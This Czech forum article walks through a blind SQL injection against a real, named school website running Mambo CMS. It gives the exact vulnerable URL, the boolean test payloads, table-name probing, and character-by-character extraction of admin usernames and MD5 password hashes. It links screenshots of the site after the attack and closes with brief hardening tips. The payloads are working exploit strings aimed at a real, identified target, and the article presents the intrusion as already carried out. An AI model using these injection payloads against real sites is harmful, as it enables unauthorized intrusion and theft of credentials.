SQL Injection v praxi

Vložil/a Profik123 [1], 25 Říjen, 2006 - 10:20

- Hacking [2]
- Hacking method [3]
- Security [4]
- SQL [5]

V tomto článku se nechci moc zaobírat teorií, jak SQL Injection funguje nebo nefunguje. To se můžete dočíst v článcích ostatních autorů. Chci spíše ukázat jeden z mnoha příkladů využití SQL Injetcion k získání hesel z databáze...

Návod není psán tak, aby se každá lama podle něj nabourávala do webů, ale je psán tak, aby lidem, kteří nad tím umí přemýšlet přinesl inspiraci a pomohl jim se zorientovat. UPOZORŇUJU lamy, že podle tohoto návodu se nikam nedostanou, neboť je psán tak, aby otevřel oči těm chytřejším...

Tento článek v žádném případně nemá za cíl nabádat k ničení cizích webů a každý, kdo to bude zkoušet musí brát na vědomí, co může způsobit a nést za to zodpovědnost

Jako výborný příklad nám poslouží web jednoho nejmenovaného gymnázia v Praze (http://www.sazavska.cz [6]), který běží na CMS Mambo (www.mamboserver.com [7]). Ačkoli je to celkem kvalitní Open Source CMS, nějakou náhodou jsem v něm našel chybu, která dovolovala SQL Injection. Začneme tedy s jednoduchým URL:

http://www.sazavska.cz/index.php?Itemid=104&func=selectcat&cat=7

Na tomto URL se nachází část CMS, která vypisuje všechny soubory ke stažení z kategorie ($cat) 7. SQL query vypadá nějak takto (podotýkám, že nepoužívám pro zjednodušení původní jména tabulek):

```
SELECT * FROM downloads WHERE category = $cat
```

a to je právě ta chyba, že proměnná $cat není v uvozovkách.
Pokud tedy $cat = "7 AND 1=1", potom bude SQL query vypadat takto:

```
SELECT * FROM downloads WHERE category = 7 AND 1=1
```

namísto správného:

```
SELECT * FROM downloads WHERE category = '7 AND 1=1'
```
(to jsou ty pověstné uvozovky, která tam chybí)

Vrátí tedy stejný výsledek, jako kdyby $cat bylo jen 7, protože 1=1 vždy.

Pokud je $cat = "7 AND 1=0", query nevrátí nic, protože 1=0 nikdy. Tedy takhle poznáme, že jde manipulovat s SQL query přes URL.

V tuto chvíli už je jasné, že můžeme vkládat do SQL query libovolný kód a pustíme se do složitějších kontrukcí.

.: Zjištění názvů tabulek :.

Za $cat dosadíme "7 OR 1=(SELECT COUNT(*) FROM nazev_tabulky)", URL tedy bude vypadat takto:

```
http://www.sazavska.cz/index.php?Itemid=104&func=selectcat&cat=7%20OR%201=
(SELECT COUNT(*) FROM nazev_tabulky)
```

Pokud je nazev_tabulky správný (pozitivní výsledek), vrátí se výpis stránky v pořádku. Pokud ne (negativní výsledek), SQL server hodí chybu a výpis stránky se vrátí prázdný, případně s chybou. Tímto můžeme donekonečna zkoušet názvy tabulek, až se trefíme do správného názvu. Ovšem tomu se v tomto případě dá vyhnout tím, že si stáhneme zdrojáky CMS Mambo na oficiálním webu a podíváme se, jak se nazývají defaultně tabulky, hlavně tabulka s uživatelskými jmény a hesly. Zjistíme, že se nazývá *mos_users*, v případě, že admin nezměnil defaultní názvy, což by správně měl. Samozřejmě, že v tomto případě to neudělal :-)

.: Zjištění názvů sloupců :.

V normálním případě musíme hesla sloupců odhadnout nebo je vyselectovat z tabulky information_schema.tables. Většinou to bývá něco jako user, username, pass, password, passwd etc... Zde máme úkol ulehčen tím, že názvy sloupců vyčteme ze zdrojáku. Zjistíme, že jsou to *username* a *password*.

.: SELECT údajů z databáze :.

```
...?cat=7%20AND%20MID((SELECT%20username%20from%20mos_users%20LIMIT%200,1)
,1,1)=CHAR(97)
```

Předcházející URL se přetransoformuje do následujícího SQL query:

```
SELECT * FROM downloads WHERE category = 7 AND MID((SELECT username FROM mos_users
LIMIT 0,1),1,1)=CHAR(97)
```

Nejdříve, co znamená funkce **MID**:

MID -> function extracts a substring from a string (starting at any position).
MID (text, start_position, number_of_characters)

Example: Mid ("Tech on the Net", 1, 4) //would return "Tech"

Požadavkem MID((**SELECT** username **FROM** mos_users **LIMIT** 0,1),1,1) neříkáme nic jiného než "*vyber 1 znak na pozici 1 (první znak) z tabulky mos_users a sloupce username*"

Funkce nám vrátí jeden znak a ten porovnáváme s CHAR(97), což odpovídá znaku "a".
Pokud odpovídá, vrátí se pozitivní výsledek a my víme, že 1. znak username je "a". Pokud ne, tak musíme pokračovat dalšími znaky, až získáme výsledek. Poračujeme do té doby, dokud nemáme všechna písmena. Zjišťujeme tedy obsah buňky znak po znaku.

CHAR(97) - CHAR(122) = a - z
CHAR(48) - CHAR(57) = 0 - 9

Na toto si buď můžeme napsat skriptík v libovolném jazyce, případně využít již hotový nástroj bsqlbf-1.1.

.: Závěr :.

Výše popsanou metodou získáme z databáze přihlašovací uživatelské jméno a heslo k administraci CMS Mambo (heslo je kryptované v MD5). Jakou tedy admin udělal chybu, že to všechno šlo tak lehce? Chyb udělal hned několik:

1. chyba v PHP zdrojácích CMS
2. ponechání defaultních názvů tabulek
3. zvolení slabých hesel

Pokud by se aspoň jedné z těchto chyb vyvaroval, dostat se tam by bylo mnohem, mnohem složitější, ne-li nemožné. Jak tyto chyby napravit, případně se jich vyvarovat?

1. postačí si stáhnout nejnovější verzi CMS, sledovat novinky ohledně daného CMS, případně používat CMS, na který se může člověk spolehnout.
2. nebýt líný! tabulka s uživateli se nemusela jmenovat *mos_users*, ale třeba *xyzk_users* a to nidko nikde nevyčte ani neodhadne. Podotýkám, že tzv. prefix se dá téměř ve všech CMS nastavit.
3. zvolit normální hesla! Hesla typu "mamka", "tata", "kacka" pro usera s právy Super Administrator hraničí s demencí! K čemu dlouhá hesla, když jsou stejně v databázi? Ano, jsou v databázi, ale kryptovné MD5 a prolomit hash hesla "mamka" je otázka několika sekund, zatímco prolomit hash hesla "2fsdg8xy9cy1rz3zjbd" je prakticky nemožné i s nejsilnějším počítačem.

.: Odkazy :.

http://testing.happyhost.org/sazavska.jpg [8] - Web po provedeném útoku 1
http://testing.happyhost.org/sazavska2.jpg [9] - Web po provedeném útoku 2

http://www.security-portal.cz/sql-injection [10] - článek o SQL Injection
http://www.reversing.org/node/view/13 [11] - článek o SQL Blind Injection

URL článku: https://www.security-portal.cz/clanky/sql-injection-v-praxi

Odkazy:
[1] https://www.security-portal.cz/users/profik123
[2] https://www.security-portal.cz/category/tagy/hacking
[3] https://www.security-portal.cz/category/tagy/hacking-method
[4] https://www.security-portal.cz/category/tagy/security
[5] https://www.security-portal.cz/category/tagy/sql
[6] http://www.sazavska.cz
[7] http://www.mamboserver.com
[8] http://testing.happyhost.org/sazavska.jpg
[9] http://testing.happyhost.org/sazavska2.jpg
[10] http://www.security-portal.cz/sql-injection
[11] http://www.reversing.org/node/view/13